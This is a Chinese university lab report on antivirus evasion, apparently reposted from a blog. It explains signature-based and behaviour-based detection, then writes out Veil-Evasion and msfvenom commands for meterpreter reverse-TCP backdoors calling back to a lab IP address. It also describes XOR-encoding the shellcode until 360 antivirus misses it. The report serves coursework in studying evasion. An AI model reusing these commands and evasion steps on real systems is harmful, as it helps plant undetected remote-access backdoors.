• 20145120《网络对抗》免杀原理与实践


    20145120《网络对抗》免杀原理与实践

    基础问题回答

    1. 杀软是如何检测出恶意代码的?

      • 基于特征码的检测
        杀软公司通过分析恶意代码,找到恶意代码都有,而正常代码少有的特征代码,用这些已知的特征码与代码匹配检测,出错率低。
      • 启发式恶意软件检测、基于行为的恶意软件检测
        指导教材上说的很明白了,“对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。”但这种方式出错率相对高。容易误杀。
    2. 免杀是做什么?
      通过技术手段使恶意代码不被杀毒软件查杀。

    3. 免杀的基本方法有哪些?
      加壳、用其他语言重新编译、加冗余代码混淆真正的恶意代码、用社会工程学的欺骗手段伪装成用户信任的软件等等。

    实践过程

    一个不断生成后门软件,使用网站www.virscan.org和本机的杀软扫描的过程

    使用MSF生成后门程序

    使用编码器编码10次,上课的时候就知道MSF因为太出名基本被分析透了,针对MSF所有解码器都有特征码,啊哈,果然不出所料被查了


    隔离区捞出来放到virscan上,嗯,53%

    使用Veil-Evasion生成后门程序

    老师的kali虚拟机自带,不用自己下载,输入veil-evasion进入

    依次输入

    use python/meterpreter/rev_tcp
    set LHOST 192.168.253.129
    set LPORT 5120
    generate
    testVeil5120
    1
    

    生成后门程序,拖到主机里还是直接查到,懒得从隔离区捞出来了,机智地直接在kali中上传扫描。


    试用了一下发现前面的ip输错了。。。输成了235。。。

    C语言使用shellcode

    平台win10+vs2015

    输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=5120 -f c生成需要的机器码数组

    复制到vs中,然后通过逆序、异或51h生成一段shellcode
    运行一下360就把它杀了。。。

    还好代码已经按我的想法以16进制格式输出到txt文件中了,替换掉部分产生的ffffff后得到新的机器码

    新建项目,用生成的16进制代码&老师给的样例代码编程,其实就是加了个解码器,然后把解码出来的数组用作样例的met数组
    很神奇,一开始不行,我试了很多次还是不行,但后来重启机器之后就成功了,运行一下,回连成功,360没报毒

    改个名字传到virscan上,再用360直接查一下,嗯,没毛病,免杀成功

    virscan结果只有两个查到了

    哇哦!这nod32厉害啊,15年的病毒库都能知道我是32位win木马,总的来说这次实验还是很成功的

  • 相关阅读:
    SpringMVC文件下载
    Servlet3.0文件上传
    SpringMVC拦截器的使用(入门)
    SpringMVC文件上传
    SpringMVC后台数据校验
    SpringMVC@InitBinder使用方法
    C++ this指针
    C++ 析构函数
    C++ 构造函数
    C++ 成员函数的实现
  • 原文地址:https://www.cnblogs.com/20145120hxx/p/6629029.html
Copyright © 2020-2023  润新知